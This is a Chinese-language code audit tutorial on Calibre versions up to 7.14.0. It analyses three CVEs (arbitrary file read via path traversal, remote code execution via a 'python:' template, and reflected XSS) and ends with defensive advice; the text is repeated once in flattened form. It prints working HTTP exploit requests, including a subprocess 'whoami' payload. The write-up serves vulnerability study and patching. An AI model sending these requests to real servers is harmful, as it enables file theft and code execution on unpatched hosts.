Calibre代码审计集合
字数 1925 2025-11-08 10:04:01

Calibre代码审计与漏洞分析教学文档

一、环境搭建

1.1 漏洞影响版本

  • Calibre <= 7.14.0

1.2 项目获取与构建

# 项目地址:calibre
Python setup.py build_dep windows  # 构建依赖项
Python setup.py win64 --dont-sign  # 安装

1.3 服务启动

安装完成后在操作页面开启服务

二、Calibre架构分析

2.1 核心模块机制

Calibre各个模块文件主要通过cdb.py调用,其中定义了电子书数据库执行操作所用的一系列API。

2.2 动态路由机制

  • 路由器根据HTTP请求路径动态导入辅助模块
  • 模块命名格式:cmd_*.py
  • 示例:请求路由/cdb/cmd/export时,路由器解析出模块名称cmd_export
  • 发包请求体内容作为参数传入,触发相应操作

2.3 核心代码分析(src/calibre/srv/cdb.py)

关键函数逻辑:

def module_for_cmd(which):
    # 动态加载模块
    # 如果模块readonly属性为False,会调用ctx.check_for_write_access(rd)检查写权限
    # 模块加载是动态的,which参数未进行路径限制或校验

安全绕过机制:

  • 如果模块readonly属性设置为True,可通过传入该模块名绕过check_for_write_access检查
  • 通过m.implementation方法调用对应模块的implementation方法

三、CVE-2024-6781 任意文件读取漏洞

3.1 漏洞位置

  • 文件:src/calibre/db/cli/cmd_export.py

3.2 漏洞分析

  1. 权限绕过readonly模块变量为True,绕过check_for_write_access()检查
  2. 危险函数:当actionextra_file时,调用db.copy_extra_file_to()方法
  3. 路径遍历relpath参数未过滤,直接用于构建相对路径读取文件
  4. 数据返回:文件内容存储到BytesIO变量并返回给用户

3.3 漏洞复现

请求包构造:

POST /cdb/cmd/export HTTP/1.1
Host: ip:8080
Content-Type: application/json

["extra_file", 1, "../../../../../Users//321.txt", ""]

利用要点:

  • 使用路径遍历字符串../../../../访问系统任意文件
  • 第二个参数为书籍ID(示例中为1)
  • 第四个参数为空字符串

四、CVE-2024-6782 远程代码执行漏洞

4.1 漏洞位置

  • 文件:src/calibre/db/cli/cmd_list.py

4.2 漏洞分析

  1. 权限绕过readonly值为True,绕过权限校验
  2. 模板参数控制field == 'template'时,用户可控制template参数
  3. 格式化处理
    • 初始化字典vals存储格式化结果
    • 调用safe_format方法处理用户提供的template参数
  4. 代码执行链
    • formatter.safe_format()evaluate()函数
    • 如果参数以python:开头,直接解析执行Python代码
    • 无输入过滤和验证机制

4.3 漏洞复现

请求包构造:

POST /cdb/cmd/list HTTP/1.1
Host: ip:8080
Content-Type: application/json
Content-Length: 303

[
["template"],
"",
"",
"",
1,
"python:def evaluate(a, b):\n import subprocess\n try:\n return subprocess.check_output(['cmd.exe', '/c', 'whoami']).decode()\n except Exception:\n return subprocess.check_output(['sh', '-c', 'whoami']).decode()"
]

利用要点:

  • 模板参数必须以python:开头
  • 使用subprocess模块执行系统命令
  • 支持跨平台命令执行(Windows cmd.exe和Unix sh)

五、CVE-2024-7008 反射型XSS漏洞

5.1 漏洞位置

  • 文件:src/calibre/srv/legacy.py

5.2 漏洞分析

  1. 路由模式:请求路由为/browse/book/{%}形式
  2. 直接插入:用户输入的rest参数直接插入redirect变量
  3. HTML/JS拼接:使用lxml函数将变量拼接到HTML和JavaScript代码中
  4. 缺乏过滤:参数无清理和转义,可直接闭合字符串执行恶意代码

5.3 漏洞复现

Payload构造:

http://ip:8080/browse/book/TEST&quot;;window.stop();alert(document.location);%2f%2f

利用要点:

  • 使用双引号闭合原有字符串:"
  • window.stop()停止页面加载
  • alert(document.location)演示XSS效果
  • URL编码确保正确传输

六、安全防护建议

6.1 输入验证与过滤

  • 对所有用户输入进行严格的路径校验
  • 实现输入白名单机制
  • 对特殊字符进行转义处理

6.2 权限控制增强

  • 重新评估readonly属性的安全含义
  • 实现更严格的权限检查机制
  • 避免通过属性设置绕过安全控制

6.3 代码执行防护

  • 对动态代码执行进行沙箱隔离
  • 限制可执行的Python代码范围
  • 实现代码签名验证机制

6.4 输出编码

  • 对所有输出到HTML的内容进行编码
  • 实施Content Security Policy策略
  • 使用安全的模板引擎

七、总结

本次审计揭示了Calibre软件在多个安全维度存在的严重漏洞,包括:

  1. 路径遍历导致任意文件读取
  2. 代码注入导致远程命令执行
  3. 输入验证缺失导致XSS攻击

这些漏洞的根本原因在于对用户输入缺乏充分的验证和过滤,以及权限控制机制存在设计缺陷。建议开发者在类似项目中引以为戒,建立完善的安全开发生命周期。

Calibre代码审计与漏洞分析教学文档 一、环境搭建 1.1 漏洞影响版本 Calibre <= 7.14.0 1.2 项目获取与构建 1.3 服务启动 安装完成后在操作页面开启服务 二、Calibre架构分析 2.1 核心模块机制 Calibre各个模块文件主要通过 cdb.py 调用,其中定义了电子书数据库执行操作所用的一系列API。 2.2 动态路由机制 路由器根据HTTP请求路径动态导入辅助模块 模块命名格式: cmd_*.py 示例:请求路由 /cdb/cmd/export 时,路由器解析出模块名称 cmd_export 发包请求体内容作为参数传入,触发相应操作 2.3 核心代码分析(src/calibre/srv/cdb.py) 关键函数逻辑: 安全绕过机制: 如果模块 readonly 属性设置为True,可通过传入该模块名绕过 check_for_write_access 检查 通过 m.implementation 方法调用对应模块的implementation方法 三、CVE-2024-6781 任意文件读取漏洞 3.1 漏洞位置 文件: src/calibre/db/cli/cmd_export.py 3.2 漏洞分析 权限绕过 : readonly 模块变量为True,绕过 check_for_write_access() 检查 危险函数 :当 action 为 extra_file 时,调用 db.copy_extra_file_to() 方法 路径遍历 : relpath 参数未过滤,直接用于构建相对路径读取文件 数据返回 :文件内容存储到 BytesIO 变量并返回给用户 3.3 漏洞复现 请求包构造: 利用要点: 使用路径遍历字符串 ../../../../ 访问系统任意文件 第二个参数为书籍ID(示例中为1) 第四个参数为空字符串 四、CVE-2024-6782 远程代码执行漏洞 4.1 漏洞位置 文件: src/calibre/db/cli/cmd_list.py 4.2 漏洞分析 权限绕过 : readonly 值为True,绕过权限校验 模板参数控制 : field == 'template' 时,用户可控制template参数 格式化处理 : 初始化字典 vals 存储格式化结果 调用 safe_format 方法处理用户提供的template参数 代码执行链 : formatter.safe_format() → evaluate() 函数 如果参数以 python: 开头,直接解析执行Python代码 无输入过滤和验证机制 4.3 漏洞复现 请求包构造: 利用要点: 模板参数必须以 python: 开头 使用 subprocess 模块执行系统命令 支持跨平台命令执行(Windows cmd.exe和Unix sh) 五、CVE-2024-7008 反射型XSS漏洞 5.1 漏洞位置 文件: src/calibre/srv/legacy.py 5.2 漏洞分析 路由模式 :请求路由为 /browse/book/{%} 形式 直接插入 :用户输入的 rest 参数直接插入 redirect 变量 HTML/JS拼接 :使用lxml函数将变量拼接到HTML和JavaScript代码中 缺乏过滤 :参数无清理和转义,可直接闭合字符串执行恶意代码 5.3 漏洞复现 Payload构造: 利用要点: 使用双引号闭合原有字符串: " window.stop() 停止页面加载 alert(document.location) 演示XSS效果 URL编码确保正确传输 六、安全防护建议 6.1 输入验证与过滤 对所有用户输入进行严格的路径校验 实现输入白名单机制 对特殊字符进行转义处理 6.2 权限控制增强 重新评估 readonly 属性的安全含义 实现更严格的权限检查机制 避免通过属性设置绕过安全控制 6.3 代码执行防护 对动态代码执行进行沙箱隔离 限制可执行的Python代码范围 实现代码签名验证机制 6.4 输出编码 对所有输出到HTML的内容进行编码 实施Content Security Policy策略 使用安全的模板引擎 七、总结 本次审计揭示了Calibre软件在多个安全维度存在的严重漏洞,包括: 路径遍历 导致任意文件读取 代码注入 导致远程命令执行 输入验证缺失 导致XSS攻击 这些漏洞的根本原因在于对用户输入缺乏充分的验证和过滤,以及权限控制机制存在设计缺陷。建议开发者在类似项目中引以为戒,建立完善的安全开发生命周期。